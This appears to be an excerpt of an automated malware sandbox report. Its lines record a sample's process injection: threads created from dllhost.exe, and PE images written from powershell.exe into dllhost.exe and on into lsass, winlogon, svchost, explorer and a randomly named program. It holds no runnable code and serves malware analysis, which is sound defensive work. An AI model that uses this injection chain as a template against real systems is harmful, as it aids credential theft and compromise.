Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B052AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F32B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9FD62AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CA6E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ED7B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A1982AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 95FB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 670C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4A4B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 19A42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D1FC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDC92AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D8FC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2C72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CE6B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AEFD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B6942AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A22A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25AA2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1A2F2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 63952AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4ABC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F03D2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AF3C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBEB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E1B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A7DC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0F52AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D7C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 68FC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EA5B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CE9B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D6342AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DEB72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0462AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2152AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8EB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60742AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 569B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8FE62AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3DC22AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 99B22AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 963C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 81BB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2D92AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DE442AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1D0E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 86A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D1E52AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2002AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 155B2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 43E52AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6FC2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 68282AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 452E2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27D22AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E5C02AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B07C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4F662AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AE852AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1B9F2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3CD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CF7C2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 43652AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ADCF2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DFE42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2D12AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8FD52AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FD7A2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EA2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DD2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EA2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1462208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1152208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2622208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2942208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2562208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2882208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E52208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3112208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C02208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B42208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2892208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13C2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 742208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2822208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3032208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 702208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1112208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C92208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D62208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B62208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3132208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 902208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 902208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2C32208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 23D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2862208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2BC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2652208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 752208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1622208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B82208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 24D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12A2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2112208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BE2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3072208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E12208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2982208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2EC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3112208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2152208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2912208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3142208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2D22208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 732208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CD2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2732208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AF2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2362208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3032208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13D2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FC2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1512208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F72208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 732208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7E2208
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E6AB2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9E892AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F6AD2AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4B842AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BF762AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 50E42AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 50E72AC0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D9A62AC0

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B020000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B050000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2DED2C70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 220AEFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241B6940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 202A22A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D25AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A63950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1834ABC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 256EBEB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2568E1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 226A7DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 12A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B68FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA5B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE9B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 11CD6340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 207C0460000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 245A2150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24708EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F60740000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26E569B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63DC20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A799B20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F6963C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26481BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 166D2D90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 128DE440000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2101D0E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 86A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 192D1E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DD2000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 257155B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 16443E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A6FC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9452E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 29227D20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5C00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C4F660000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE850000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 281CF7C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 28843650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1FBADCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 40D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2BEDFE40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1FFD2D10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B38FD50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D8FD7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2DD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2D20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 26E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 22C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1460000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 1150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2620000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2F20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: FF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2560000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2880000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 3110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: C00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 25D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\wuqwgDeQKNTyvwCqPKGdCxDVwsLBTfflyEeEvlFFcGqywHwqHVTNboIHYJ\ZbdOtWCbFZADO.exe base: 2B40000 value starts with: 4D5A
